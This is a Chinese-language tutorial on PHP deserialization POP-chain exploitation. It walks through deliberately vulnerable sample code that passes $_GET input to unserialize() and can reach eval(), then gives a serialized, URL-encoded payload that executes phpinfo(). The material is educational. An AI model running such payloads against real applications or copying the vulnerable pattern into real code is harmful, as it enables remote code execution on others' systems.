POP利用链

基础重提：

1. 前端提交不可见字符和其他特殊字符（如#等）时应该进行URL编码。
2. 危险函数：eval()、assert()（php7之前）、system()等等

反序列化漏洞挖掘要解决的问题：魔术方法当中没有危险函数，有危险函数的方法不是魔术方法，不会自动调用，我们该想办法找场景来调用它。

```php
?php
class main {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello bmjoker";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}
//$a = new main();
unserialize($_GET['a']);
?>
```

如上代码，危险的命令执行方法eval不在魔术方法中，在evil类中。但是魔术方法`__construct()`是调用normal类，`__destruct()`在程序结束时会去调用normal类中的action()方法。而我们最终的目的是去调用evil类中的action()方法，并伪造evil类中的变量$data，达成任意代码执行的目的。在这样情况下可以尝试去构造POP利用链，让魔术方法__construct()去调用evil这个类，并且给变量$data赋予恶意代码，比如php探针phpinfo()，这样就相当于执行`<?php eval("phpinfo();")?>`。尝试构造payload：

```php
<?php
class main {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
$a = new main();
echo serialize($a);
?>
```

```
O:4:"main":1:{s:11:"□*□ClassObj";O:4:"evil":1:{s:10:"□evil□data";s:10:"phpinfo();";}}
```

编写我们想要执行的效果，然后进行序列化。

但是由于$ClassObj是protected类型修饰，$data是private类型修饰，在序列化的时候，多出来的字节都被\x00填充，需要进行在代码中使用urlencode对序列化后字符串进行编码，否则无法复制解析。

最后payload为：

O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D